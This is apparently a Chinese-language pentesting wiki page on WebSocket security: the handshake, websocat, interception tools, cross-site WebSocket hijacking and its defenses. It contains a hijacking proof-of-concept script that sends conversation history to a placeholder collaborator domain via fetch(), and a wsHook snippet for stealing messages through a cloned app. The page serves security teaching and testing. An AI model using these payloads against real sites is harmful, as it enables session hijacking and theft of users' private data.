WebSocket 攻击

Reading time: 14 minutes

什么是 WebSocket

WebSocket 连接通过初始的 HTTP 握手建立，旨在实现 长时间 存活，允许随时进行双向消息传递，而无需事务系统。这使得 WebSocket 特别适合需要 低延迟或服务器发起通信 的应用程序，例如实时金融数据流。

WebSocket 连接的建立

有关建立 WebSocket 连接的详细说明可以访问 这里。总之，WebSocket 连接通常通过客户端 JavaScript 发起，如下所示：

var ws = new WebSocket("wss://normal-website.com/ws")

wss 协议表示一个使用 TLS 保护的 WebSocket 连接，而 ws 表示一个 不安全的 连接。

在连接建立期间，浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应，如以下示例所示：

浏览器发送握手请求：

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

服务器的握手响应：

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

连接一旦建立，便保持开放以便双向消息交换。

WebSocket 握手的关键点：

• Connection 和 Upgrade 头部信号表示 WebSocket 握手的开始。
• Sec-WebSocket-Version 头部指示所需的 WebSocket 协议版本，通常为 13。
• 在 Sec-WebSocket-Key 头部中发送一个 Base64 编码的随机值，确保每次握手都是唯一的，这有助于防止缓存代理出现问题。该值不是用于身份验证，而是用于确认响应不是由配置错误的服务器或缓存生成的。
• 服务器响应中的 Sec-WebSocket-Accept 头部是 Sec-WebSocket-Key 的哈希，验证服务器打开 WebSocket 连接的意图。

这些特性确保握手过程安全可靠，为高效的实时通信铺平道路。

Linux 控制台

您可以使用 websocat 建立与 websocket 的原始连接。

websocat --insecure wss://10.10.10.10:8000 -v

或创建一个 websocat 服务器：

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket 连接

如果您发现客户端从您当前的本地网络连接到 HTTP websocket，您可以尝试进行 ARP Spoofing Attack 来在客户端和服务器之间执行 MitM 攻击。
一旦客户端尝试连接，您可以使用：

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

您可以使用 tool https://github.com/PalindromeLabs/STEWS 自动发现、指纹识别和搜索已知的 vulnerabilities 在 websockets 中。

Websocket Debug tools

• Burp Suite 以与常规 HTTP 通信非常相似的方式支持 MitM websockets 通信。
• socketsleuth Burp Suite 扩展 将允许您通过获取 history、设置 interception rules、使用 match and replace 规则、使用 Intruder 和 AutoRepeater 更好地管理 Burp 中的 Websocket 通信。
• WSSiP: 代表 "WebSocket/Socket.io Proxy"，这个用 Node.js 编写的工具提供了一个用户界面来 capture、intercept、send custom 消息并查看客户端和服务器之间的所有 WebSocket 和 Socket.IO 通信。
• wsrepl 是一个专为渗透测试设计的 interactive websocket REPL。它提供了一个接口来观察 incoming websocket messages 和发送新消息，并提供一个易于使用的框架来 automating 这种通信。
• https://websocketking.com/ 是一个 web to communicate 使用 websockets 与其他网站进行通信。
• https://hoppscotch.io/realtime/websocket 在其他类型的通信/协议中，它提供了一个 web to communicate 使用 websockets 与其他网站进行通信。

Decrypting Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Websocket Lab

在 Burp-Suite-Extender-Montoya-Course 中，您有一个代码来启动一个使用 websockets 的网站，在 this post 中您可以找到解释。

Websocket Fuzzing

Burp 扩展 Backslash Powered Scanner 现在也允许对 WebSocket 消息进行模糊测试。您可以在 here 阅读更多信息。

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking，也称为 cross-origin WebSocket hijacking，被识别为影响 WebSocket 握手的 Cross-Site Request Forgery (CSRF) 的特定案例。当 WebSocket 握手仅通过 HTTP cookies 进行身份验证而没有 CSRF tokens 或类似的安全措施时，就会出现此漏洞。

攻击者可以通过托管一个 malicious web page 来利用这一点，该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此，该连接被视为受害者与应用程序会话的一部分，利用会话处理机制中缺乏 CSRF 保护。

为了使此攻击有效，以下是要求：

• websocket authentication must be cookie based
• cookie 必须可以从攻击者的服务器访问（这通常意味着 SameSite=None）并且在 Firefox 中未启用 Firefox Total Cookie Protection，在 Chrome 中未 blocked third-party cookies。
• websocket 服务器必须不检查连接的来源（或者这必须是可绕过的）

另外：

• 如果身份验证基于本地连接（到 localhost 或本地网络），则攻击 will be possible，因为当前没有保护措施禁止它（请查看 more info here）

Simple Attack

请注意，当 establishing 一个 websocket 连接时，cookie 会被 sent 到服务器。server 可能会使用它来 relate 每个 specific user 与其 websocket session based on the sent cookie。

然后，如果 例如 websocket server sends back the history of the conversation 的用户，如果发送了一个 msg "READY"，那么一个 simple XSS 建立连接（cookie 将 be sent automatically 授权受害者用户） sending "READY" 将能够 retrieve conversation 的历史记录。

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

跨源 + 不同子域的 Cookie

在这篇博客文章 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ 中，攻击者成功地 在进行 Websocket 通信的域的子域中执行了任意 Javascript。因为这是一个 子域，cookie 被 发送，而且 Websocket 没有正确检查 Origin，因此可以与其通信并 窃取其中的令牌。

从用户那里窃取数据

复制您想要冒充的 Web 应用程序（例如 .html 文件），并在 Websocket 通信发生的脚本中添加以下代码：

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

现在从 https://github.com/skepticfx/wshook 下载 wsHook.js 文件，并将其保存在网页文件夹内。
通过暴露网络应用并使用户连接到它，您将能够窃取通过 websocket 发送和接收的消息：

sudo python3 -m http.server 80

CSWSH 保护

CSWSH 攻击基于这样一个事实：用户将连接到一个恶意页面，该页面将打开一个 websocket 连接到用户已经连接的网页，并将以用户的身份进行身份验证，因为请求将发送用户的 cookies。

如今，防止此问题非常简单：

• Websocket 服务器检查来源：Websocket 服务器应始终检查用户连接的来源，以防止意外页面连接到它。
• 身份验证令牌：Websocket 连接可以基于服务器为用户生成的令牌，而不是基于 cookie，这个令牌对攻击者是未知的（如反 CSRF 令牌）。
• SameSite Cookie 属性：具有 SameSite 值为 Lax 或 Strict 的 cookies 不会从外部攻击者页面发送到受害者服务器，因此，基于 cookie 的身份验证将不会成功。请注意，Chrome 现在将没有指定此标志的 cookies 的值设置为 Lax，使其默认更安全。然而，在创建 cookie 的前两分钟，它将具有 None 的值，使其在这段有限的时间内易受攻击（此外，预计此措施将在某个时候被移除）。
• Firefox 完全 Cookie 保护：完全 Cookie 保护通过将 cookies 隔离到创建它们的网站来工作。基本上，每个网站都有自己的 cookie 存储分区，以防止第三方将用户的浏览历史链接在一起。这使得 CSWSH 无法使用，因为攻击者的网站将无法访问 cookies。
• Chrome 第三方 cookies 阻止：这也可能防止将经过身份验证的用户的 cookie 发送到 websocket 服务器，即使 SameSite=None。

竞争条件

WebSockets 中的竞争条件也是一个问题，查看此信息以了解更多。

其他漏洞

由于 Web Sockets 是一种向服务器端和客户端发送数据的机制，具体取决于服务器和客户端如何处理信息，Web Sockets 可用于利用其他多种漏洞，如 XSS、SQLi 或任何其他常见的网络漏洞，使用来自 websocket 的用户输入。

WebSocket 走私

此漏洞可能允许您绕过反向代理限制，使其相信已建立 websocket 通信（即使这不是真的）。这可能允许攻击者访问隐藏的端点。有关更多信息，请查看以下页面：

Upgrade Header Smuggling

参考文献

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/